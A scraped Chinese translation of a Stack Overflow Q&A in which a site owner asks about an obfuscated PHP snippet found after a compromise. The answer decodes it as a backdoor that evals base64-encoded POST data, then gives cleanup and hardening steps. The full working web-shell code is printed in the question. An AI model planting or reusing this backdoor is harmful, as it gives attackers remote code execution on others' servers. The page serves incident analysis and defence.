草庐IT

php - 试图解码病毒

coder 2023-06-14 原文

我的服务器最近受到了攻击，我一直在尝试研究它是如何以及为什么会发生的。

我在病毒文件中发现了一个非常相似的模式，看起来像这样 - 据我所知，它正在尝试运行特定文件？

有没有人见过这样的事情，我应该如何解释？它只是根据 $sF 字符串抓取单个字符吗？

<?php

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
  eval($s21($s22));
}?>

最佳答案

变量$s21等于base64_decode，$s22等于$_POST['nd335c3']。

每当向您的服务器发出 POST 请求时，它都会执行 $_POST['nd335c3']; 中的任何命令，正如您所料，这是非常危险的.

我非常怀疑您的服务器被黑了，而是您的网站脚本被利用了。您的网站上是否有用户可以上传文件的地方？我在 WordPress 中看到很多这样的东西，但插件编码很差。

解决问题

要解决此问题，请先删除此文件或代码部分。您可能希望关闭您的站点并将其置于维护模式，直到您可以搜索并验证所有其他文件都没有被修改。

网站备份并运行后，记录对被黑文件所在位置的请求或包含相同 POST 变量的请求。

一旦有用户向漏洞利用发送数据，您就可以检查所有其他日志文件并将它们与相同的 IP 地址和用户代理进行比较。这是一个遥远的镜头，但希望他们只使用一台计算机来进行攻击。从日志中你可以看到他们究竟访问了哪些内容来执行攻击并上传被利用的文件。

在未来预防这种情况

  1. 除非您信任开发者并相信它是完全安全的并且知道他们会发布更新，否则请勿将您在网上找到的任何代码安装到您的网站上。
  2. 将您的网络服务器设置为除了上传目录和/tmp
    3. 之外没有写入权限
  3. 验证所有上传的文件，确保它们完全符合您的预期。
  4. 不允许 PHP 在文件上传到的地方运行，将文件下载为静态直接文件。这样，如果上传的文件绕过了您的文件检查，它仍然不会造成任何损害。

关于php - 试图解码病毒，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/29321907/

php试图codesectionsFvirus

有关php - 试图解码病毒的更多相关文章

  1. ruby-on-rails - 这个 C 和 PHP 程序员如何学习 Ruby 和 Rails？ - 2

    按照目前的情况，这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持，但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开，visitthehelpcenter指导。关闭9年前。我来自C、php和bash背景，很容易学习，因为它们都有相同的C结构，我可以将其与我已经知道的联系起来。然后2年前我学了Python并且学得很好，Python对我来说比Ruby更容易学。然后从去年开始，我一直在尝试学习Ruby，然后是Rails，我承认，直到现在我还是学不会，讽刺的是那些打着简单易学的烙印，但是对于我这样一个老练的程序员来说，我只是无法将它

  2. ruby - Ruby gems 的问题(损坏？)试图让指南针在 npm 中工作 - 2

    我不是Ruby专家，但想弄清楚发生了什么，因为我试图让指南针在节点应用程序中工作，但我的Ruby似乎坏了。打字:ruby--version让我:ruby2.1.1p76(2014-02-24revision45161)[x86_64-darwin13.0]我安装了Homebrew，之前遇到过Ruby版本的问题，但它似乎已安装并且可以正常工作。但是，当我使用gem输入请求时，出现此错误:$gem-hErrorloadingRubyGemsplugin"/Users/user_dir/.rvm/gems/ruby-2.1.1@global/gems/executable-hooks-1.3

  3. ruby-on-rails - Rails/Heroku - 如何对上传的文件进行反病毒扫描？ - 2

    如何扫描上传文件中的病毒、木马等？只是想阻止一些用户上传一些讨厌的东西。我正在使用Heroku和AmazonS3。 最佳答案 Checkoutthis它支持REST/JSON防病毒网络服务。 关于ruby-on-rails-Rails/Heroku-如何对上传的文件进行反病毒扫描？，我们在StackOverflow上找到一个类似的问题： https://stackoverflow.com/questions/9640516/

  4. ruby - 为什么 split (' ' ) 试图变得(太)聪明？ - 2

    我刚刚发现String#split有以下奇怪的行为:"a\tbc\nd".split=>["a","b","c","d"]"a\tbc\nd".split('')=>["a","b","c","d"]"a\tbc\nd".split(//)=>["a\tb","c\nd"]Thesource(来自2.0.0的string.c)超过200行，包含这样一段话:/*L5909*/elseif(rb_enc_asciicompat(enc2)==1){if(RSTRING_LEN(spat)==1&&RSTRING_PTR(spat)[0]==''){split_type=awk;}}后来，在

  5. 【历史上的今天】4 月 26 日：验证码的发明者诞生；切尔诺贝利病毒爆发；诺基亚收购 Withings - 2

    整理|王启隆透过「历史上的今天」，从过去看未来，从现在亦可以改变未来。今天是2023年4月26日，在2017年的今天，中国首艘国产001A型航空母舰在大连完成了下水，从开工到下水，历时3年多时间。回首过去，眺望未来，在科技历史上的每个4月26日里，还发生过哪些影响深远的关键事件呢？1938年4月26日：编程校验领域图灵奖得主ManuelBlum出生曼纽尔·布卢姆（ManuelBlum）出生于1938年4月26日，他是委内瑞拉的计算机科学家、卡内基梅隆大学的教授，因对计算复杂度理论做出的贡献，以及在密码学和编程校验上的应用而获1995年图灵奖。布卢姆出生于委内瑞拉的一个犹太家庭，他曾在麻省理工学

  6. ruby-on-rails - 试图在 gem 中要求 active_support - 2

    我有一个ruby​​gem，我想在包含在railsactive_support模块中的gem中使用Hash.from_xml方法。我的gemspec中有以下代码:gem.add_dependency'active_support','~>3.0.0'但是，当我在本地构建和安装gem、运行irb、需要gem时，我没有看到包含主动支持的方法？关于我做错了什么或如何调试有什么建议吗？谢谢! 最佳答案 您需要从ActiveSupport要求您需要的方法；默认情况下不添加它们。正如Yevgeniy在评论中提到的那样，如果您需要所有内容，则执行

  7. ruby-on-rails - JSON解码参数问题 - 2

    我有一个使用postgresql的Rails4应用程序。我还有一个backbone.js应用程序，可将JSON推送到Rails4应用程序。这是我的Controller:defcreate@product=Product.new(ActiveSupport::JSON.decodeproduct_params)respond_todo|format|if@product.saveformat.json{renderaction:'show',status::created,location:@product}elseformat.json{renderjson:@product.erro

  8. ruby-on-rails - 试图理解特定的 ruby​​ 语法 - 2

    我是Ruby和Rails的新手，在浏览各种教程时，我偶尔会遇到一些我无法理解的Ruby语法。例如，这实际上是做什么的？rootto:"welcome#index"我猜想这可能是一个名为“root”的方法，但在那之后我就迷路了。“To”不是一个符号，是吗？冒号应该在前面，如果是的话，就像在":to"中一样。这是某种形式的使用哈希的关键字参数吗？在使用ruby​​1.9.3的irb中尝试时，我无法使此语法起作用。我知道这可能是一个RTFM问题，但我什至想不出要用谷歌搜索什么。谢谢!我还在研究这个语法，deffunc(h)putsh[:to]endx={:to=>"welcome#index

  9. ruby-on-rails - Rails 还是 Sinatra？ PHP程序员入门学习哪个好？ - 2

    按照目前的情况，这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持，但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开，visitthehelpcenter指导。关闭10年前。我使用PHP的时间太长了，对它感到厌倦了。我也想学习一门新语言。我一直在使用Ruby并且喜欢它。我必须在Rails和Sinatra之间做出选择，那么您会推荐哪一个？Sinatra真的不能用来构建复杂的应用程序，它只能用于简单的应用程序吗？

  10. ruby-on-rails - PHP 魔术方法 __call、__get 和 __set 的 Ruby 等价物 - 2

    我很确定Ruby有这些(等同于__call、__get和__set)，否则find_by将如何在Rails中工作？也许有人可以举一个简单的例子来说明如何定义与find_by相同的方法？谢谢 最佳答案 简而言之你可以映射__调用带有参数的method_missing调用__设置为方法名称以'='结尾的method_missing调用__获取不带任何参数的method_missing调用__调用PHPclassMethodTest{publicfunction__call($name,$arguments){echo"Callingob

随机推荐